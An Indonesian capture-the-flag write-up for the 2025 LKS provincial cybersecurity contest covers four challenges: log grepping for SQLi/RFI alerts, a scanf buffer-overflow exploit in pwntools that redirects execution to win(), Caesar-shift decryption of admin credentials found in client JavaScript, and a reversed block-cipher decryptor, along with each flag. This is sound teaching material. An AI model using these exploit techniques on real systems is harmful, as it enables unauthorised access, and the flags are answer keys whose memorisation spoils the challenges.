---
# System prepended metadata

title: Write Up LKS Cyber Security Tingkat Provinsi DKI JAKARTA 2025

---


# Write Up LKS Cyber Security Tingkat Provinsi DKI JAKARTA 2025

**Kategori:** Jeopardy  

---

## DIGITAL FORENSIC — PiggyBagger
Chall ini meminta kita untuk mencari log serangan SQLi dan RFI di web. Langsung aja kita lakukan dengan command **grep** log buat ngitung jumlah kejadian.

```bash
grep -i "sql" snort.log | grep -iE ".\asp[x]?" > sqli_aspnet_full.txt

wc -l sqli_aspnet_full.txt

grep -i "file inclusion" snort.log | grep -iE ".\php[x]?" > rfi_full.txt

wc -l rfi_full.txt
```

Hasil: `807` (SQLi) + `204` (RFI) = **1011**  
**Flag:** `LKS{1011}`

---

## BINARY EXPLOITATION — JJ1
**Ringkasan:** Chall ini memiliki vulnerability dibagian `scanf("%s")` yang dipakai tanpa batasan. Buffer overflow di username bisa kita timpa saved RBP + return address, jadi kita overwrite return address ke `win()`.

### Coba kita analisa:
- Username buffer: `rbp-0x20` (32 byte)  
- Password buffer: `rbp-0x40` (64 byte total stack area alokasi `sub $0x40, %rsp`)  
- `scanf("%s", ...)` Karena tidak ngecek panjang input maka terjadi **overflow**.

### Payload untuk solve chall ini:
- Isi: `b'A' * 40 + p64(WIN_ADDR)`  
  - 32 byte 'A' untuk isi buffer username  
  - 8 byte 'A' untuk nimpain saved RBP  
  - 8 byte alamat `win()` untuk menimpa return address

### Exploit (solve.py)
```python
from pwn import *

exploit = remote('13.212.62.29', 11101)
winaddr = p64(0x401226)

payload = flat([
   b'A' * 40,
   winaddr,
])

exploit.recv()
exploit.sendline(payload)
exploit.recv()
exploit.sendline(b'terserahapapundehpasswordnya')
exploit.interactive()
```

**Flag:** `LKS{c70da980d0b226bd16d82682b094430f}`

---

## WEB EXPLOITATION — Yes
**Ringkesan:** Ini sebenarnya chall basic, ada `main.js` yang nampilin logic enkripsi Caesar-ish (shift), lalu saat kita liat `main.js`, kita akan menemukan username/password terenkripsi, jadi tinggal kita balik dekripsinya, login ke `/admin/login.php` dan ambil flag.

### `main.js`
```js
// Main JavaScript file for SecureApp

// function encrypt(text, shift) {
//     let result = '';
//     for (let i = 0; i < text.length; i++) {
//         let char = text.charCodeAt(i);
      
//         // Handle uppercase letters
//         if (char >= 65 && char <= 90) {
//             result += String.fromCharCode(((char - 65 + shift) % 26) + 65);
//         }
//         // Handle lowercase letters
//         else if (char >= 97 && char <= 122) {
//             result += String.fromCharCode(((char - 97 + shift) % 26) + 97);
//         }
//         // Handle numbers
//         else if (char >= 48 && char <= 57) {
//             result += String.fromCharCode(((char - 48 + shift) % 10) + 48);
//         }
//         // Handle special characters
//         else {
//             result += text.charAt(i);
//         }
//     }
//     return result;
// }
// Backup Admin credentials (encrypted)
// Username: hktpu
// Password: 875j414231k8mi18593kij01l4h3290l
// Console log for curious users
console.log("Welcome to SecureApp!");
console.log("Remember to check our security features.");
// Add event listeners when DOM is loaded
document.addEventListener('DOMContentLoaded', function() {
   // Add any interactive features here
   const dummyFeature = document.querySelector('.dummy-feature');
   if (dummyFeature) {
       dummyFeature.addEventListener('click', function() {
           console.log("Interesting... looking for something?");
           console.log("Our admin system uses advanced encryption.");
           console.log("Only those who understand our encryption can access it.");
       });
   }
});



```

### Script dekripsi (decrypt.js)
```js
function decrypt(text, shift) {
 let result = "";
 for (let i = 0; i < text.length; i++) {
   let char = text.charCodeAt(i);
   let decryptedChar;
   if (char >= 65 && char <= 90) {
     decryptedChar = String.fromCharCode(
       ((((char - 65 - shift) % 26) + 26) % 26) + 65
     );
   } else if (char >= 97 && char <= 122) {
     decryptedChar = String.fromCharCode(
       ((((char - 97 - shift) % 26) + 26) % 26) + 97
     );
   } else if (char >= 48 && char <= 57) {
     decryptedChar = String.fromCharCode(
       ((((char - 48 - shift) % 10) + 10) % 10) + 48
     );
   } else {
     decryptedChar = text.charAt(i);
   }
   result += decryptedChar;
 }
 return result;
}
const encryptedUsername = "hktpu";
const encryptedPassword = "875j414231k8mi18593kij01l4h3290l";

for (let s = 0; s < 26; s++) {
 const decryptedUsername = decrypt(encryptedUsername, s);
 const decryptedPassword = decrypt(encryptedPassword, s);
 if (decryptedUsername === "admin") {
   console.log("Username: " + decryptedUsername);
   console.log("Password: " + decryptedPassword);
   console.log("Shift: " + s);
   break;
 }
}

}
```

Kita tes shift dari `0..25` sampai ketemu `username === "admin"`. Setelah dapat credential, login ke `/admin/login.php` dan dapatkan flagnya.

**Flag:** `LKS{8fe9bb2f776048191539eb236fb442aa}`

---

## REVERSE ENGINEERING — Nimberbolts
**Ringkasan:** Ini sebenarnya agak susah ya, banyak fungsi, expandKey, transform, ROL/ROR, dan loop 12 ronde. Intinya kita akan menemukan 4 DWORD key pas breakpoint pake gdb, terus kita pake script Python buat nge-decrypt ciphertext target.

### Hasil Analisa:
- `expandKey__chall_32` : berfungsi untuk nge-generate array S, mixing 78 ronde, lalu kita ambil 4 DWORD pertama sebagai KEYs.
- Cipher: blok 8-byte, 12 ronde, operasi rotasi & XOR & pengurangan konstanta.

![Gambar1](https://hackmd.io/_uploads/rJq8GAyEZl.png)

### Key yang didapat
```
KEY_V44 = 0xe808da40
KEY_V43 = 0x1b6d1834
KEY_V14 = 0x0899ad31
KEY_V15 = 0xdbc6d939
```

### Solver :
```python
import ctypes

def ROL32(val, shift):
   shift &= 0x1F
   val = ctypes.c_uint32(val).value
   return ctypes.c_uint32((val << shift) | (val >> (32 - shift))).value

def ROR32(val, shift):
   shift &= 0x1F
   val = ctypes.c_uint32(val).value
   return ctypes.c_uint32((val >> shift) | (val << (32 - shift))).value

KEY_V44 = 0xe808da40
KEY_V43 = 0x1b6d1834
KEY_V14 = 0x0899ad31
KEY_V15 = 0xdbc6d939

target_hex_string = "EECDAF3793599828D33C2B8CA183C6DDCECA1E65DC899A601BF3BB0E885F25DD"
target_ciphertext_bytes = bytes.fromhex(target_hex_string)

decrypted_flag_bytes = bytearray()
num_blocks = len(target_ciphertext_bytes) // 8

for block_num in range(num_blocks):
   offset = block_num * 8
  
   O1_final = int.from_bytes(target_ciphertext_bytes[offset : offset+4], 'little')
   O2_final = int.from_bytes(target_ciphertext_bytes[offset+4 : offset+8], 'little')

   current_v19 = ctypes.c_uint32(O1_final).value
   current_v20 = ctypes.c_uint32(O2_final).value
  
   for _ in range(12): # 12 rounds
      
       val_to_ror_for_v20 = ctypes.c_uint32(current_v20 - KEY_V15).value
       rotated_val_for_v20 = ROR32(val_to_ror_for_v20, current_v19 & 0x1F)
       v20_curr = ctypes.c_uint32(rotated_val_for_v20 ^ current_v19).value

       val_to_ror_for_v19 = ctypes.c_uint32(current_v19 - KEY_V14).value
       rotated_val_for_v19 = ROR32(val_to_ror_for_v19, v20_curr & 0x1F)
       v19_curr = ctypes.c_uint32(rotated_val_for_v19 ^ v20_curr).value
      
       current_v19 = v19_curr
       current_v20 = v20_curr
  
   user_dword0_transformed = ctypes.c_uint32(current_v19 - KEY_V44).value
   user_dword1_transformed = ctypes.c_uint32(current_v20 - KEY_V43).value
  
   decrypted_flag_bytes.extend(user_dword0_transformed.to_bytes(4, 'little'))
   decrypted_flag_bytes.extend(user_dword1_transformed.to_bytes(4, 'little'))

print(decrypted_flag_bytes.decode('ascii'))

```

**Flag:** `LKS{u_are_a_N1m_3v3r$er5!!!}`

---

## Penutup
Writeup ini dibuat untuk menyemangati kalian yang berpartisipasi diajang LKS nanti, jadikan hal baru yaaaa :>

JANGAN LUPA MAINNN CTF!!!